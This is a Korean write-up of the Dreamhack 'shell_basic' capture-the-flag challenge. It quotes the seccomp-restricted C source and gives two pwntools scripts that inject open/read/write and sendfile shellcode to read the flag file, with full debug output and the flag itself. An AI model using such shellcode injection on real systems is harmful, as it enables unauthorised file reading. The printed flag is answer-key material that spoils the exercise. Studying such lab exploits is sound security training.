Description
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main
함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong
입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{...}
입니다. DH{
와 }
도 모두 포함하여 인증해야 합니다.
문제 파일을 받으면 shell_basic.c, shell_basic 파일들이 존재한다.
실행 파일을 리눅스용 64비트 실행 파일이었고
ubuntu@WSL2:~/CTF/dreamhack.io/shell_basic$ file ./shell_basic ./shell_basic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4ab0fe8a3aab93855695a905fc3d5e3fb5a233d4, not stripped
shell_basic.c 소스 파일을 확인해봤을때
execve, execveat 시스템 호출을 제한시키고
쉘코드를 읽어 실행시키는 코드였다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp // apt install seccomp libseccomp-dev #include <fcntl.h> #include <seccomp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <unistd.h> #include <sys/mman.h> #include <signal.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(10); } void banned_execve() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); if (ctx == NULL) { exit(0); } seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); seccomp_load(ctx); } void main(int argc, char *argv[]) { char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); void (*sc)(); init(); banned_execve(); printf("shellcode: "); read(0, shellcode, 0x1000); sc = (void *)shellcode; sc(); }
풀이
flag 파일 이름을 알고 있기 때문에 open, read, write 시스템콜을 사용하면 플래그를 읽을 수 있다.
파이썬에 있는 pwntools 모듈에 shellcraft 도구를 사용하여 아주 쉽게 쉘코드를 작성할 수 있었다.
from pwn import * context.log_level = 'debug' p = remote('host3.dreamhack.games', 10863) context(arch='amd64',os='linux') shellcode = "" shellcode += shellcraft.pushstr('/home/shell_basic/flag_name_is_loooooong') shellcode += shellcraft.open('rsp',0,0) shellcode += shellcraft.read('rax','rsp',100) shellcode += shellcraft.write(1,'rsp',100) p.recvuntil("shellcode: ") p.send(asm(shellcode)) print(p.recvline())
ubuntu@WSL2:~/CTF/dreamhack.io/shell_basic$ python3 shell_basic.py [+] Opening connection to host3.dreamhack.games on port 10863: Done [DEBUG] Received 0xb bytes: b'shellcode: ' [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix .p2align 0 /* push b'/home/shell_basic/flag_name_is_loooooong\x00' */ push 1 dec byte ptr [rsp] mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push rax mov rax, 0x697361625f6c6c65 push rax mov rax, 0x68732f656d6f682f push rax /* open(file='rsp', oflag=0, mode=0) */ mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call open() */ push 2 /* 2 */ pop rax syscall /* call read('rax', 'rsp', 0x64) */ mov rdi, rax xor eax, eax /* SYS_read */ push 0x64 pop rdx mov rsi, rsp syscall /* write(fd=1, buf='rsp', n=0x64) */ push 1 pop rdi push 0x64 pop rdx mov rsi, rsp /* call write() */ push 1 /* 1 */ pop rax syscall [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-dt4iawge/step2 /tmp/pwn-asm-dt4iawge/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-dt4iawge/step3 /tmp/pwn-asm-dt4iawge/step4 [DEBUG] Sent 0x63 bytes: 00000000 6a 01 fe 0c 24 48 b8 6f 6f 6f 6f 6f 6f 6e 67 50 │j···│$H·o│oooo│ongP│ 00000010 48 b8 61 6d 65 5f 69 73 5f 6c 50 48 b8 63 2f 66 │H·am│e_is│_lPH│·c/f│ 00000020 6c 61 67 5f 6e 50 48 b8 65 6c 6c 5f 62 61 73 69 │lag_│nPH·│ell_│basi│ 00000030 50 48 b8 2f 68 6f 6d 65 2f 73 68 50 48 89 e7 31 │PH·/│home│/shP│H··1│ 00000040 d2 31 f6 6a 02 58 0f 05 48 89 c7 31 c0 6a 64 5a │·1·j│·X··│H··1│·jdZ│ 00000050 48 89 e6 0f 05 6a 01 5f 6a 64 5a 48 89 e6 6a 01 │H···│·j·_│jdZH│··j·│ 00000060 58 0f 05 │X··│ 00000063 [DEBUG] Received 0x64 bytes: 00000000 44 48 7b 63 61 35 36 32 64 37 63 66 31 64 62 36 │DH{c│a562│d7cf│1db6│ 00000010 63 35 35 63 62 31 31 63 34 65 63 33 35 30 61 33 │c55c│b11c│4ec3│50a3│ 00000020 63 30 62 7d 0a 6f 6e 67 00 00 00 00 00 00 00 00 │c0b}│·ong│····│····│ 00000030 de 4b b8 17 67 55 00 00 98 05 8e 7d fe 7f 00 00 │·K··│gU··│···}│····│ 00000040 60 49 b8 17 01 00 00 00 00 00 89 e0 cf 7f 00 00 │`I··│····│····│····│ 00000050 00 00 89 e0 cf 7f 00 00 f0 4b b8 17 67 55 00 00 │····│····│·K··│gU··│ 00000060 87 8c 07 e0 │····│ 00000064 b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n' [*] Closed connection to host3.dreamhack.games port 10863
번외
shellcraft 도구에서 cat 명령어를 더 간결하게 코드를 짤 수도 있다.
여기서는 open, sendfile 시스템 콜을 사용한다.
from pwn import * context.log_level = 'debug' p = remote('host3.dreamhack.games', 10863) context(arch='amd64',os='linux') shellcode =shellcraft.cat('/home/shell_basic/flag_name_is_loooooong') p.recvuntil("shellcode: ") p.send(asm(shellcode)) print(p.recvline())
ubuntu@WSL2:~/CTF/dreamhack.io/shell_basic$ python3 shell_basic.py [+] Opening connection to host3.dreamhack.games on port 10863: Done [DEBUG] Received 0xb bytes: b'shellcode: ' [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix .p2align 0 /* push b'/home/shell_basic/flag_name_is_loooooong\x00' */ push 1 dec byte ptr [rsp] mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push rax mov rax, 0x697361625f6c6c65 push rax mov rax, 0x68732f656d6f682f push rax /* call open('rsp', 'O_RDONLY', 'rdx') */ push 2 /* 2 */ pop rax mov rdi, rsp xor esi, esi /* O_RDONLY */ syscall /* call sendfile(1, 'rax', 0, 0x7fffffff) */ mov r10d, 0x7fffffff mov rsi, rax push 40 /* 0x28 */ pop rax push 1 pop rdi cdq /* rdx=0 */ syscall [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-eai66osz/step2 /tmp/pwn-asm-eai66osz/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-eai66osz/step3 /tmp/pwn-asm-eai66osz/step4 [DEBUG] Sent 0x58 bytes: 00000000 6a 01 fe 0c 24 48 b8 6f 6f 6f 6f 6f 6f 6e 67 50 │j···│$H·o│oooo│ongP│ 00000010 48 b8 61 6d 65 5f 69 73 5f 6c 50 48 b8 63 2f 66 │H·am│e_is│_lPH│·c/f│ 00000020 6c 61 67 5f 6e 50 48 b8 65 6c 6c 5f 62 61 73 69 │lag_│nPH·│ell_│basi│ 00000030 50 48 b8 2f 68 6f 6d 65 2f 73 68 50 6a 02 58 48 │PH·/│home│/shP│j·XH│ 00000040 89 e7 31 f6 0f 05 41 ba ff ff ff 7f 48 89 c6 6a │··1·│··A·│····│H··j│ 00000050 28 58 6a 01 5f 99 0f 05 │(Xj·│_···│ 00000058 [DEBUG] Received 0x25 bytes: b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n' b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n' [*] Closed connection to host3.dreamhack.games port 10863